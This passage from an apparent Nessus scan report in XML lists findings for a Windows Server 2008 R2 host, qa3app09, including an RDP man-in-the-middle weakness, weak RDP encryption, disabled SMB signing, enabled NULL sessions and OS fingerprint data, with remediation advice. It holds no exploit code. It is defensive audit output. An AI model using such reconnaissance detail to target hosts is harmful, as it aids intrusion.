2811 Signature: 00 9F C1 3C 9C 5F 3E B2 27 12 A6 38 80 C1 55 06 FB E6 7F 55
2812 74 DA 72 90 29 91 66 58 BF 8D C7 09 40 B7 9A C7 29 56 D2 84
2813 BC DF A4 47 1F 7B F3 E0 16 2D 76 07 2D 51 6B 1E 0D D7 BF 72
2814 A7 B2 6E 8C 14 B1 03 18 C9 C3 65 52 98 76 8F 35 6A 2B 80 EE
2815 CB 71 30 B8 94 88 00 FB 81 69 BB C1 FE 0C 86 2E 9E B1 7A A3
2816 D2 23 60 6C 44 BD D7 2F 5F A2 ED 5A 11 DB C7 89 E0 61 F3 20
2817 E8 83 49 6A 6D 7C 81 2B 6D 94 1C 3B BD 6C B7 A0 23 57 20 61
2818 49 68 AB B8 C9 68 3C 6B 3B 79 D0 AF 72 EC AC 61 77 78 BF B6
2819 B0 6C C2 ED A4 3F 39 17 88 C5 45 FD 05 36 F2 91 84 33 D8 4D
2820 77 EF BF 31 00 38 7B B8 99 37 03 57 82 43 72 8D F5 23 CC F8
2821 46 61 C2 F0 70 75 25 63 F1 F1 2A F1 DE E8 41 9F 63 CB C9 52
2822 6A 48 B7 F0 CB 28 6C 19 B8 E1 B6 E2 F8 B0 24 BF CF A2 4A FC
2823 CC 08 AA 12 81 5A 7A FF E8 77 26 21 DE 55 8A AB 88
2824
2825 Extension: Extended Key Usage (2.5.29.37)
2826 Critical: 0
2827 Purpose#1: Web Server Authentication (1.3.6.1.5.5.7.3.1)
2828
2829
2830 Extension: Key Usage (2.5.29.15)
2831 Critical: 0
2832 Key Usage: Key Encipherment, Data Encipherment
2833
2834
2835 </plugin_output>
2836 </ReportItem>
2837 <ReportItem port="0" svc_name="general" protocol="tcp" severity="0" pluginID="11936" pluginName="OS Identification" pluginFamily="General">
2838 <description>Using a combination of remote probes (TCP/IP, SMB, HTTP, NTP, SNMP, etc...), it is possible to guess the name of the remote operating system in use. It is also sometimes possible to guess the version of the operating system.</description>
2839 <fname>os_fingerprint.nasl</fname>
2840 <plugin_modification_date>2013/04/01</plugin_modification_date>
2841 <plugin_name>OS Identification</plugin_name>
2842 <plugin_publication_date>2003/12/09</plugin_publication_date>
2843 <plugin_type>combined</plugin_type>
2844 <risk_factor>None</risk_factor>
2845 <script_version>$Revision: 2.34 $</script_version>
2846 <solution>n/a</solution>
2847 <synopsis>It is possible to guess the remote operating system.</synopsis>
2848 <plugin_output>
2849 Remote operating system : Microsoft Windows Server 2008 R2 Standard Service Pack 1
2850 Confidence Level : 99
2851 Method : MSRPC
2852
2853
2854 The remote host is running Microsoft Windows Server 2008 R2 Standard Service Pack 1</plugin_output>
2855 </ReportItem>
2856 <ReportItem port="0" svc_name="general" protocol="tcp" severity="0" pluginID="35716" pluginName="Ethernet Card Manufacturer Detection" pluginFamily="Misc.">
2857 <description>Each ethernet MAC address starts with a 24-bit &apos;Organizationally Unique Identifier&apos;.
2858 These OUI are registered by IEEE.</description>
2859 <fname>ethernet_manufacturer.nasl</fname>
2860 <plugin_modification_date>2011/03/27</plugin_modification_date>
2861 <plugin_name>Ethernet Card Manufacturer Detection</plugin_name>
2862 <plugin_publication_date>2009/02/19</plugin_publication_date>
2863 <plugin_type>combined</plugin_type>
2864 <risk_factor>None</risk_factor>
2865 <script_version>$Revision: 1.9 $</script_version>
2866 <see_also>http://standards.ieee.org/faqs/OUI.html
2867 http://standards.ieee.org/regauth/oui/index.shtml</see_also>
2868 <solution>n/a</solution>
2869 <synopsis>The manufacturer can be deduced from the Ethernet OUI.</synopsis>
2870 <plugin_output>
2871 The following card manufacturers were identified :
2872
2873 00:50:56:81:01:e3 : VMware, Inc.
2874 </plugin_output>
2875 </ReportItem>
2876 <ReportItem port="0" svc_name="general" protocol="tcp" severity="0" pluginID="20094" pluginName="VMware Virtual Machine Detection" pluginFamily="General">
2877 <description>According to the MAC address of its network adapter, the remote host is a VMware virtual machine.
2878
2879 Since it is physically accessible through the network, ensure that its configuration matches your organization&apos;s security policy.</description>
2880 <fname>vmware_detect.nasl</fname>
2881 <plugin_modification_date>2011/03/27</plugin_modification_date>
2882 <plugin_name>VMware Virtual Machine Detection</plugin_name>
2883 <plugin_publication_date>2005/10/27</plugin_publication_date>
2884 <plugin_type>combined</plugin_type>
2885 <risk_factor>None</risk_factor>
2886 <script_version>$Revision: 1.24 $</script_version>
2887 <solution>n/a</solution>
2888 <synopsis>The remote host seems to be a VMware virtual machine.</synopsis>
2889 </ReportItem>
2890 <ReportItem port="3389" svc_name="msrdp" protocol="tcp" severity="2" pluginID="18405" pluginName="Microsoft Windows Remote Desktop Protocol Server Man-in-the-Middle Weakness" pluginFamily="Windows">
2891 <bid>13818</bid>
2892 <cve>CVE-2005-1794</cve>
2893 <cvss_base_score>5.1</cvss_base_score>
2894 <cvss_temporal_score>4.6</cvss_temporal_score>
2895 <cvss_temporal_vector>CVSS2#E:F/RL:W/RC:ND</cvss_temporal_vector>
2896 <cvss_vector>CVSS2#AV:N/AC:H/Au:N/C:P/I:P/A:P</cvss_vector>
2897 <description>The remote version of the Remote Desktop Protocol Server (Terminal Service) is vulnerable to a man-in-the-middle (MiTM) attack. The RDP client makes no effort to validate the identity of the server when setting up encryption. An attacker with the ability to intercept traffic from the RDP server can establish encryption with the client and server without being detected. A MiTM attack of this nature would allow the attacker to obtain any sensitive information transmitted, including authentication credentials.
2898
2899 This flaw exists because the RDP server stores a hardcoded RSA private key in the mstlsapi.dll library. Any local user with access to this file (on any Windows system) can retrieve the key and use it for this attack.</description>
2900 <exploit_available>true</exploit_available>
2901 <exploitability_ease>Exploits are available</exploitability_ease>
2902 <fname>tssvc_mim.nasl</fname>
2903 <osvdb>17131</osvdb>
2904 <plugin_modification_date>2012/03/30</plugin_modification_date>
2905 <plugin_name>Microsoft Windows Remote Desktop Protocol Server Man-in-the-Middle Weakness</plugin_name>
2906 <plugin_publication_date>2005/06/01</plugin_publication_date>
2907 <plugin_type>remote</plugin_type>
2908 <risk_factor>Medium</risk_factor>
2909 <script_version>$Revision: 1.23 $</script_version>
2910 <see_also>http://www.oxid.it/downloads/rdp-gbu.pdf
2911 http://www.nessus.org/u?e2628096
2912 http://technet.microsoft.com/en-us/library/cc782610.aspx</see_also>
2913 <solution>- Force the use of SSL as a transport layer for this service if supported, or/and
2914 - Select the &apos;Allow connections only from computers running Remote Desktop with Network Level Authentication&apos; setting if it is available.</solution>
2915 <synopsis>It may be possible to get access to the remote host.</synopsis>
2916 <vuln_publication_date>2005/05/28</vuln_publication_date>
2917 <xref>OSVDB:17131</xref>
2918 </ReportItem>
2919 <ReportItem port="3389" svc_name="msrdp" protocol="tcp" severity="0" pluginID="66173" pluginName="RDP Screenshot" pluginFamily="General">
2920 <cpe>cpe:/o:microsoft:windows</cpe>
2921 <description>This script attempts to connect to the remote host via RDP (Remote Desktop Protocol) and attempts to take a screenshot of the login screen.
2922
2923 While this is not a vulnerability by itself, some versions of Windows display the names of the users who can connect and which ones are connected already.</description>
2924 <fname>rdp_logon_screen.nbin</fname>
2925 <plugin_modification_date>2013/05/08</plugin_modification_date>
2926 <plugin_name>RDP Screenshot</plugin_name>
2927 <plugin_publication_date>2013/04/22</plugin_publication_date>
2928 <plugin_type>remote</plugin_type>
2929 <risk_factor>None</risk_factor>
2930 <script_version>$Revision: 1.4 $</script_version>
2931 <solution>n/a</solution>
2932 <synopsis>It is possible to take a screenshot of the remote login screen.</synopsis>
2933 <plugin_output>It was possible to gather the following screenshot of the remote login screen.</plugin_output>
2934 <attachment name="ts_screenshot.jpg" type="image/bmp">293713fa5c0d44310392df3bf9c784a3</attachment>
2935 </ReportItem>
2936 <ReportItem port="3389" svc_name="msrdp" protocol="tcp" severity="2" pluginID="57690" pluginName="Terminal Services Encryption Level is Medium or Low" pluginFamily="Misc.">
2937 <cvss_base_score>4.3</cvss_base_score>
2938 <cvss_vector>CVSS2#AV:N/AC:M/Au:N/C:P/I:N/A:N</cvss_vector>
2939 <description>The remote Terminal Services service is not configured to use strong cryptography.
2940
2941 Using weak cryptography with this service may allow an attacker to eavesdrop on the communications more easily and obtain screenshots and/or keystrokes.</description>
2942 <fname>rdp_weak_crypto.nbin</fname>
2943 <plugin_modification_date>2013/04/22</plugin_modification_date>
2944 <plugin_name>Terminal Services Encryption Level is Medium or Low</plugin_name>
2945 <plugin_publication_date>2012/01/25</plugin_publication_date>
2946 <plugin_type>remote</plugin_type>
2947 <risk_factor>Medium</risk_factor>
2948 <script_version>$Revision: 1.6 $</script_version>
2949 <solution>Change RDP encryption level to one of :
2950
2951 3. High
2952
2953 4. FIPS Compliant</solution>
2954 <synopsis>The remote host is using weak cryptography.</synopsis>
2955 <plugin_output>
2956 The terminal services encryption level is set to :
2957
2958 2. Medium</plugin_output>
2959 </ReportItem>
2960 <ReportItem port="3389" svc_name="msrdp" protocol="tcp" severity="1" pluginID="30218" pluginName="Terminal Services Encryption Level is not FIPS-140 Compliant" pluginFamily="Misc.">
2961 <cvss_base_score>2.6</cvss_base_score>
2962 <cvss_vector>CVSS2#AV:N/AC:H/Au:N/C:P/I:N/A:N</cvss_vector>
2963 <description>The encryption setting used by the remote Terminal Services service is not FIPS-140 compliant.</description>
2964 <fname>fips_rdp.nbin</fname>
2965 <plugin_modification_date>2013/04/22</plugin_modification_date>
2966 <plugin_name>Terminal Services Encryption Level is not FIPS-140 Compliant</plugin_name>
2967 <plugin_publication_date>2008/02/11</plugin_publication_date>
2968 <plugin_type>remote</plugin_type>
2969 <risk_factor>Low</risk_factor>
2970 <script_version>$Revision: 1.9 $</script_version>
2971 <solution>Change RDP encryption level to :
2972
2973 4. FIPS Compliant</solution>
2974 <synopsis>The remote host is not FIPS-140 compliant.</synopsis>
2975 <plugin_output>
2976 The terminal services encryption level is set to :
2977
2978 2. Medium (Client Compatible)</plugin_output>
2979 </ReportItem>
2980 <ReportItem port="80" svc_name="www" protocol="tcp" severity="0" pluginID="24260" pluginName="HyperText Transfer Protocol (HTTP) Information" pluginFamily="Web Servers">
2981 <description>This test gives some information about the remote HTTP protocol - the version used, whether HTTP Keep-Alive and HTTP pipelining are enabled, etc...
2982
2983 This test is informational only and does not denote any security problem.</description>
2984 <fname>http_info.nasl</fname>
2985 <plugin_modification_date>2011/05/31</plugin_modification_date>
2986 <plugin_name>HyperText Transfer Protocol (HTTP) Information</plugin_name>
2987 <plugin_publication_date>2007/01/30</plugin_publication_date>
2988 <plugin_type>remote</plugin_type>
2989 <risk_factor>None</risk_factor>
2990 <script_version>$Revision: 1.12 $</script_version>
2991 <solution>n/a</solution>
2992 <synopsis>Some information about the remote HTTP configuration can be extracted.</synopsis>
2993 <plugin_output>
2994 Protocol version : HTTP/1.1
2995 SSL : no
2996 Keep-Alive : no
2997 Options allowed : OPTIONS, TRACE, GET, HEAD, POST
2998 Headers :
2999
3000 Content-Type: text/html
3001 Last-Modified: Tue, 01 May 2012 20:47:11 GMT
3002 Accept-Ranges: bytes
3003 ETag: &quot;ca7a095db27cd1:0&quot;
3004 Server: Microsoft-IIS/7.5
3005 X-Powered-By: ASP.NET
3006 Date: Mon, 01 Jul 2013 18:36:55 GMT
3007 Content-Length: 689
3008
3009 </plugin_output>
3010 </ReportItem>
3011 <ReportItem port="3389" svc_name="msrdp" protocol="tcp" severity="0" pluginID="10940" pluginName="Windows Terminal Services Enabled" pluginFamily="Windows">
3012 <description>Terminal Services allows a Windows user to remotely obtain a graphical login (and therefore act as a local user on the remote host).
3013
3014 If an attacker gains a valid login and password, he may be able to use this service to gain further access on the remote host. An attacker may also use this service to mount a dictionary attack against the remote host to try to log in remotely.
3015
3016 Note that RDP (the Remote Desktop Protocol) is vulnerable to Man-in-the-middle attacks, making it easy for attackers to steal the credentials of legitimate users by impersonating the Windows server.</description>
3017 <fname>windows_terminal_services.nasl</fname>
3018 <plugin_modification_date>2012/03/30</plugin_modification_date>
3019 <plugin_name>Windows Terminal Services Enabled</plugin_name>
3020 <plugin_publication_date>2002/04/20</plugin_publication_date>
3021 <plugin_type>remote</plugin_type>
3022 <risk_factor>None</risk_factor>
3023 <script_version>$Revision: 1.29 $</script_version>
3024 <solution>Disable Terminal Services if you do not use it, and do not allow this service to run across the Internet.</solution>
3025 <synopsis>The remote Windows host has Terminal Services enabled.</synopsis>
3026 </ReportItem>
3027 <ReportItem port="80" svc_name="www" protocol="tcp" severity="0" pluginID="10107" pluginName="HTTP Server Type and Version" pluginFamily="Web Servers">
3028 <description>This plugin attempts to determine the type and the version of the remote web server.</description>
3029 <fname>http_version.nasl</fname>
3030 <plugin_modification_date>2013/06/03</plugin_modification_date>
3031 <plugin_name>HTTP Server Type and Version</plugin_name>
3032 <plugin_publication_date>2000/01/04</plugin_publication_date>
3033 <plugin_type>remote</plugin_type>
3034 <risk_factor>None</risk_factor>
3035 <script_version>$Revision: 1.111 $</script_version>
3036 <solution>n/a</solution>
3037 <synopsis>A web server is running on the remote host.</synopsis>
3038 <plugin_output>The remote web server type is :
3039
3040 Microsoft-IIS/7.5</plugin_output>
3041 </ReportItem>
3042 <ReportItem port="80" svc_name="www" protocol="tcp" severity="0" pluginID="43111" pluginName="HTTP Methods Allowed (per directory)" pluginFamily="Web Servers">
3043 <description>By calling the OPTIONS method, it is possible to determine which HTTP methods are allowed on each directory.
3044
3045 As this list may be incomplete, the plugin also tests - if &apos;Thorough tests&apos; are enabled or &apos;Enable web applications tests&apos; is set to &apos;yes&apos; in the scan policy - various known HTTP methods on each directory and considers them as unsupported if it receives a response code of 400, 403, 405, or 501.
3046
3047 Note that the plugin output is only informational and does not necessarily indicate the presence of any security vulnerabilities.</description>
3048 <fname>web_directory_options.nasl</fname>
3049 <plugin_modification_date>2013/05/09</plugin_modification_date>
3050 <plugin_name>HTTP Methods Allowed (per directory)</plugin_name>
3051 <plugin_publication_date>2009/12/10</plugin_publication_date>
3052 <plugin_type>remote</plugin_type>
3053 <risk_factor>None</risk_factor>
3054 <script_version>$Revision: 1.7 $</script_version>
3055 <solution>n/a</solution>
3056 <synopsis>This plugin determines which HTTP methods are allowed on various CGI directories.</synopsis>
3057 <plugin_output>Based on the response to an OPTIONS request :
3058
3059 - HTTP methods GET HEAD POST TRACE OPTIONS are allowed on :
3060
3061 /
3062
3063 </plugin_output>
3064 </ReportItem>
3065 <ReportItem port="445" svc_name="cifs" protocol="tcp" severity="2" pluginID="57608" pluginName="SMB Signing Disabled" pluginFamily="Misc.">
3066 <cpe>cpe:/o:microsoft:windows</cpe>
3067 <cvss_base_score>5.0</cvss_base_score>
3068 <cvss_vector>CVSS2#AV:N/AC:L/Au:N/C:N/I:P/A:N</cvss_vector>
3069 <description>Signing is disabled on the remote SMB server. This can allow man-in-the-middle attacks against the SMB server.</description>
3070 <fname>smb_signing_disabled.nasl</fname>
3071 <plugin_modification_date>2012/03/05</plugin_modification_date>
3072 <plugin_name>SMB Signing Disabled</plugin_name>
3073 <plugin_publication_date>2012/01/19</plugin_publication_date>
3074 <plugin_type>remote</plugin_type>
3075 <risk_factor>Medium</risk_factor>
3076 <script_version>$Revision: 1.7 $</script_version>
3077 <see_also>http://support.microsoft.com/kb/887429
3078 http://www.nessus.org/u?74b80723
3079 http://www.samba.org/samba/docs/man/manpages-3/smb.conf.5.html</see_also>
3080 <solution>Enforce message signing in the host&apos;s configuration. On Windows, this is found in the Local Security Policy. On Samba, the setting is called &apos;server signing&apos;. See the &apos;see also&apos; links for further details.</solution>
3081 <synopsis>Signing is disabled on the remote SMB server.</synopsis>
3082 <vuln_publication_date>2012/01/17</vuln_publication_date>
3083 </ReportItem>
3084 <ReportItem port="80" svc_name="www" protocol="tcp" severity="0" pluginID="11422" pluginName="Web Server Unconfigured - Default Install Page Present" pluginFamily="Web Servers">
3085 <description>The remote web server uses its default welcome page. It probably means that this server is not used at all or is serving content that is meant to be hidden.</description>
3086 <fname>www_default_page.nasl</fname>
3087 <osvdb>2117</osvdb>
3088 <plugin_modification_date>2011/08/12</plugin_modification_date>
3089 <plugin_name>Web Server Unconfigured - Default Install Page Present</plugin_name>
3090 <plugin_publication_date>2003/03/20</plugin_publication_date>
3091 <plugin_type>remote</plugin_type>
3092 <risk_factor>None</risk_factor>
3093 <script_version>$Revision: 1.37 $</script_version>
3094 <solution>Disable this service if you do not use it.</solution>
3095 <synopsis>The remote web server is not configured or is not properly configured.</synopsis>
3096 <vuln_publication_date>1994/01/01</vuln_publication_date>
3097 <xref>OSVDB:2117</xref>
3098 <plugin_output>
3099 The default welcome page is from IIS.
3100 </plugin_output>
3101 </ReportItem>
3102 <ReportItem port="80" svc_name="www" protocol="tcp" severity="0" pluginID="22964" pluginName="Service Detection" pluginFamily="Service detection">
3103 <description>It was possible to identify the remote service by its banner or by looking at the error message it sends when it receives an HTTP request.</description>
3104 <fname>find_service.nasl</fname>
3105 <plugin_modification_date>2013/05/12</plugin_modification_date>
3106 <plugin_name>Service Detection</plugin_name>
3107 <plugin_publication_date>2007/08/19</plugin_publication_date>
3108 <plugin_type>remote</plugin_type>
3109 <risk_factor>None</risk_factor>
3110 <script_version>$Revision: 1.123 $</script_version>
3111 <solution>n/a</solution>
3112 <synopsis>The remote service could be identified.</synopsis>
3113 <plugin_output>A web server is running on this port.</plugin_output>
3114 </ReportItem>
3115 <ReportItem port="0" svc_name="general" protocol="tcp" severity="0" pluginID="46215" pluginName="Inconsistent Hostname and IP Address" pluginFamily="Settings">
3116 <description>The name of this machine either does not resolve or resolves to a different IP address.
3117
3118 This may come from a badly configured reverse DNS or from a host file in use on the Nessus scanning host.
3119
3120 As a result, URLs in plugin output may not be directly usable in a web browser and some web tests may be incomplete.</description>
3121 <fname>bad_rdns.nasl</fname>
3122 <plugin_modification_date>2011/10/06</plugin_modification_date>
3123 <plugin_name>Inconsistent Hostname and IP Address</plugin_name>
3124 <plugin_publication_date>2010/05/03</plugin_publication_date>
3125 <plugin_type>remote</plugin_type>
3126 <risk_factor>None</risk_factor>
3127 <script_version>1.6</script_version>
3128 <solution>Fix the reverse DNS or host file.</solution>
3129 <synopsis>The remote host&apos;s hostname is not consistent with DNS information.</synopsis>
3130 <plugin_output>The host name &apos;qa3app09&apos; does not resolve to an IP address</plugin_output>
3131 </ReportItem>
3132 <ReportItem port="0" svc_name="general" protocol="tcp" severity="0" pluginID="12053" pluginName="Host Fully Qualified Domain Name (FQDN) Resolution" pluginFamily="General">
3133 <description>Nessus was able to resolve the FQDN of the remote host.</description>
3134 <fname>fqdn.nasl</fname>
3135 <plugin_modification_date>2012/09/28</plugin_modification_date>
3136 <plugin_name>Host Fully Qualified Domain Name (FQDN) Resolution</plugin_name>
3137 <plugin_publication_date>2004/02/11</plugin_publication_date>
3138 <plugin_type>remote</plugin_type>
3139 <risk_factor>None</risk_factor>
3140 <script_version>$Revision: 1.12 $</script_version>
3141 <solution>n/a</solution>
3142 <synopsis>It was possible to resolve the name of the remote host.</synopsis>
3143 <plugin_output>
3144 10.31.112.29 resolves as qa3app09.
3145 </plugin_output>
3146 </ReportItem>
3147 <ReportItem port="0" svc_name="general" protocol="udp" severity="0" pluginID="10287" pluginName="Traceroute Information" pluginFamily="General">
3148 <description>Makes a traceroute to the remote host.</description>
3149 <fname>traceroute.nasl</fname>
3150 <plugin_modification_date>2013/04/11</plugin_modification_date>
3151 <plugin_name>Traceroute Information</plugin_name>
3152 <plugin_publication_date>1999/11/27</plugin_publication_date>
3153 <plugin_type>remote</plugin_type>
3154 <risk_factor>None</risk_factor>
3155 <script_version>1.62</script_version>
3156 <solution>n/a</solution>
3157 <synopsis>It was possible to obtain traceroute information.</synopsis>
3158 <plugin_output>For your information, here is the traceroute from 172.16.138.174 to 10.31.112.29 :
3159 172.16.138.174
3160 172.16.138.2
3161 10.31.112.29
3162 </plugin_output>
3163 </ReportItem>
3164 <ReportItem port="0" svc_name="general" protocol="tcp" severity="0" pluginID="24786" pluginName="Nessus Windows Scan Not Performed with Admin Privileges" pluginFamily="Settings">
3165 <cpe>cpe:/o:microsoft:windows</cpe>
3166 <description>The Nessus scanner testing the remote host has been given SMB credentials to log into the remote host, however these credentials do not have administrative privileges.
3167
3168 Typically, when Nessus performs a patch audit, it logs into the remote host and reads the version of the DLLs on the remote host to determine if a given patch has been applied or not. This is the method Microsoft recommends to determine if a patch has been applied.
3169
3170 If your Nessus scanner does not have administrative privileges when doing a scan, then Nessus has to fall back to perform a patch audit through the registry which may lead to false positives (especially when using third-party patch auditing tools) or to false negatives (not all patches can be detected through the registry).</description>
3171 <fname>smb_scan_not_admin.nasl</fname>
3172 <plugin_modification_date>2013/01/07</plugin_modification_date>
3173 <plugin_name>Nessus Windows Scan Not Performed with Admin Privileges</plugin_name>
3174 <plugin_publication_date>2007/03/12</plugin_publication_date>
3175 <plugin_type>local</plugin_type>
3176 <risk_factor>None</risk_factor>
3177 <script_version>$Revision: 1.11 $</script_version>
3178 <solution>Reconfigure your scanner to use credentials with administrative privileges.</solution>
3179 <synopsis>The Nessus scan of this host may be incomplete due to insufficient privileges provided.</synopsis>
3180 <plugin_output>
3181 It was not possible to connect to &apos;\\QA3APP09\ADMIN$&apos; with the supplied credentials.
3182 </plugin_output>
3183 </ReportItem>
3184 <ReportItem port="445" svc_name="cifs" protocol="tcp" severity="0" pluginID="26917" pluginName="Microsoft Windows SMB Registry : Nessus Cannot Access the Windows Registry" pluginFamily="Windows">
3185 <description>It was not possible to connect to PIPE\winreg on the remote host.
3186
3187 If you intend to use Nessus to perform registry-based checks, the registry checks will not work because the &apos;Remote Registry Access&apos; service (winreg) has been disabled on the remote host or can not be connected to with the supplied credentials.</description>
3188 <fname>smb_registry_fail.nasl</fname>
3189 <plugin_modification_date>2011/03/27</plugin_modification_date>
3190 <plugin_name>Microsoft Windows SMB Registry : Nessus Cannot Access the Windows Registry</plugin_name>
3191 <plugin_publication_date>2007/10/04</plugin_publication_date>
3192 <plugin_type>local</plugin_type>
3193 <risk_factor>None</risk_factor>
3194 <script_version>$Revision: 1.10 $</script_version>
3195 <solution>n/a</solution>
3196 <synopsis>Nessus is not able to access the remote Windows Registry.</synopsis>
3197 <plugin_output>Could not connect to the registry because:
3198 Could not connect to \winreg</plugin_output>
3199 </ReportItem>
3200 <ReportItem port="3389" svc_name="msrdp" protocol="tcp" severity="0" pluginID="11219" pluginName="Nessus SYN scanner" pluginFamily="Port scanners">
3201 <description>This plugin is a SYN &apos;half-open&apos; port scanner.
3202 It shall be reasonably quick even against a firewalled target.
3203
3204 Note that SYN scanners are less intrusive than TCP (full connect) scanners against broken services, but they might kill lame misconfigured firewalls. They might also leave unclosed connections on the remote target, if the network is loaded.</description>
3205 <fname>nessus_syn_scanner.nbin</fname>
3206 <plugin_modification_date>2011/04/05</plugin_modification_date>
3207 <plugin_name>Nessus SYN scanner</plugin_name>
3208 <plugin_type>remote</plugin_type>
3209 <risk_factor>None</risk_factor>
3210 <script_version>$Revision: 1.14 $</script_version>
3211 <solution>Protect your target with an IP filter.</solution>
3212 <synopsis>It is possible to determine which TCP ports are open.</synopsis>
3213 <plugin_output>Port 3389/tcp was found to be open</plugin_output>
3214 </ReportItem>
3215 <ReportItem port="445" svc_name="cifs" protocol="tcp" severity="0" pluginID="11219" pluginName="Nessus SYN scanner" pluginFamily="Port scanners">
3216 <description>This plugin is a SYN &apos;half-open&apos; port scanner.
3217 It shall be reasonably quick even against a firewalled target.
3218
3219 Note that SYN scanners are less intrusive than TCP (full connect) scanners against broken services, but they might kill lame misconfigured firewalls. They might also leave unclosed connections on the remote target, if the network is loaded.</description>
3220 <fname>nessus_syn_scanner.nbin</fname>
3221 <plugin_modification_date>2011/04/05</plugin_modification_date>
3222 <plugin_name>Nessus SYN scanner</plugin_name>
3223 <plugin_type>remote</plugin_type>
3224 <risk_factor>None</risk_factor>
3225 <script_version>$Revision: 1.14 $</script_version>
3226 <solution>Protect your target with an IP filter.</solution>
3227 <synopsis>It is possible to determine which TCP ports are open.</synopsis>
3228 <plugin_output>Port 445/tcp was found to be open</plugin_output>
3229 </ReportItem>
3230 <ReportItem port="80" svc_name="www" protocol="tcp" severity="0" pluginID="11219" pluginName="Nessus SYN scanner" pluginFamily="Port scanners">
3231 <description>This plugin is a SYN &apos;half-open&apos; port scanner.
3232 It shall be reasonably quick even against a firewalled target.
3233
3234 Note that SYN scanners are less intrusive than TCP (full connect) scanners against broken services, but they might kill lame misconfigured firewalls. They might also leave unclosed connections on the remote target, if the network is loaded.</description>
3235 <fname>nessus_syn_scanner.nbin</fname>
3236 <plugin_modification_date>2011/04/05</plugin_modification_date>
3237 <plugin_name>Nessus SYN scanner</plugin_name>
3238 <plugin_type>remote</plugin_type>
3239 <risk_factor>None</risk_factor>
3240 <script_version>$Revision: 1.14 $</script_version>
3241 <solution>Protect your target with an IP filter.</solution>
3242 <synopsis>It is possible to determine which TCP ports are open.</synopsis>
3243 <plugin_output>Port 80/tcp was found to be open</plugin_output>
3244 </ReportItem>
3245 <ReportItem port="135" svc_name="epmap" protocol="tcp" severity="0" pluginID="11219" pluginName="Nessus SYN scanner" pluginFamily="Port scanners">
3246 <description>This plugin is a SYN &apos;half-open&apos; port scanner.
3247 It shall be reasonably quick even against a firewalled target.
3248
3249 Note that SYN scanners are less intrusive than TCP (full connect) scanners against broken services, but they might kill lame misconfigured firewalls. They might also leave unclosed connections on the remote target, if the network is loaded.</description>
3250 <fname>nessus_syn_scanner.nbin</fname>
3251 <plugin_modification_date>2011/04/05</plugin_modification_date>
3252 <plugin_name>Nessus SYN scanner</plugin_name>
3253 <plugin_type>remote</plugin_type>
3254 <risk_factor>None</risk_factor>
3255 <script_version>$Revision: 1.14 $</script_version>
3256 <solution>Protect your target with an IP filter.</solution>
3257 <synopsis>It is possible to determine which TCP ports are open.</synopsis>
3258 <plugin_output>Port 135/tcp was found to be open</plugin_output>
3259 </ReportItem>
3260 <ReportItem port="139" svc_name="smb" protocol="tcp" severity="0" pluginID="11219" pluginName="Nessus SYN scanner" pluginFamily="Port scanners">
3261 <description>This plugin is a SYN &apos;half-open&apos; port scanner.
3262 It shall be reasonably quick even against a firewalled target.
3263
3264 Note that SYN scanners are less intrusive than TCP (full connect) scanners against broken services, but they might kill lame misconfigured firewalls. They might also leave unclosed connections on the remote target, if the network is loaded.</description>
3265 <fname>nessus_syn_scanner.nbin</fname>
3266 <plugin_modification_date>2011/04/05</plugin_modification_date>
3267 <plugin_name>Nessus SYN scanner</plugin_name>
3268 <plugin_type>remote</plugin_type>
3269 <risk_factor>None</risk_factor>
3270 <script_version>$Revision: 1.14 $</script_version>
3271 <solution>Protect your target with an IP filter.</solution>
3272 <synopsis>It is possible to determine which TCP ports are open.</synopsis>
3273 <plugin_output>Port 139/tcp was found to be open</plugin_output>
3274 </ReportItem>
3275 <ReportItem port="445" svc_name="cifs" protocol="tcp" severity="0" pluginID="10394" pluginName="Microsoft Windows SMB Log In Possible" pluginFamily="Windows">
3276 <description>The remote host is running Microsoft Windows operating system or Samba, a CIFS/SMB server for Unix. It was possible to log into it using one of the following accounts :
3277
3278 - NULL session
3279 - Guest account
3280 - Given Credentials</description>
3281 <exploit_available>true</exploit_available>
3282 <exploit_framework_metasploit>true</exploit_framework_metasploit>
3283 <exploitability_ease>Exploits are available</exploitability_ease>
3284 <fname>smb_login.nasl</fname>
3285 <metasploit_name>Microsoft Windows Authenticated User Code Execution</metasploit_name>
3286 <plugin_modification_date>2013/04/23</plugin_modification_date>
3287 <plugin_name>Microsoft Windows SMB Log In Possible</plugin_name>
3288 <plugin_publication_date>2000/05/09</plugin_publication_date>
3289 <plugin_type>remote</plugin_type>
3290 <risk_factor>None</risk_factor>
3291 <script_version>$Revision: 1.136 $</script_version>
3292 <see_also>http://support.microsoft.com/kb/143474
3293 http://support.microsoft.com/kb/246261</see_also>
3294 <solution>n/a</solution>
3295 <synopsis>It is possible to log into the remote host.</synopsis>
3296 <vuln_publication_date>1999/01/01</vuln_publication_date>
3297 <plugin_output>- NULL sessions are enabled on the remote host
3298 </plugin_output>
3299 </ReportItem>
3300 <ReportItem port="445" svc_name="cifs" protocol="tcp" severity="0" pluginID="10785" pluginName="Microsoft Windows SMB NativeLanManager Remote System Information Disclosure" pluginFamily="Windows">
3301 <description>It is possible to get the remote operating system name and version (Windows and/or Samba) by sending an authentication request to port 139 or 445.</description>
3302 <fname>smb_nativelanman.nasl</fname>
3303 <plugin_modification_date>2013/06/25</plugin_modification_date>
3304 <plugin_name>Microsoft Windows SMB NativeLanManager Remote System Information Disclosure</plugin_name>
3305 <plugin_publication_date>2001/10/17</plugin_publication_date>
3306 <plugin_type>remote</plugin_type>
3307 <risk_factor>None</risk_factor>
3308 <script_version>$Revision: 1.40 $</script_version>
3309 <solution>n/a</solution>
3310 <synopsis>It is possible to obtain information about the remote operating system.</synopsis>
3311 <plugin_output>The remote Operating System is : Windows Server 2008 R2 Standard 7601 Service Pack 1
3312 The remote native lan manager is : Windows Server 2008 R2 Standard 6.1
3313 The remote SMB Domain Name is : RB
3314 </plugin_output>
3315 </ReportItem>
3316 <ReportItem port="137" svc_name="netbios-ns" protocol="udp" severity="0" pluginID="10150" pluginName="Windows NetBIOS / SMB Remote Host Information Disclosure" pluginFamily="Windows">
3317 <description>The remote host listens on UDP port 137 or TCP port 445 and replies to NetBIOS nbtscan or SMB requests.
3318
3319 Note that this plugin gathers information to be used in other plugins but does not itself generate a report.</description>
3320 <fname>netbios_name_get.nasl</fname>
3321 <plugin_modification_date>2013/01/16</plugin_modification_date>
3322 <plugin_name>Windows NetBIOS / SMB Remote Host Information Disclosure</plugin_name>
3323 <plugin_publication_date>1999/10/12</plugin_publication_date>
3324 <plugin_type>remote</plugin_type>
3325 <risk_factor>None</risk_factor>
3326 <script_version>$Revision: 1.77 $</script_version>
3327 <solution>n/a</solution>
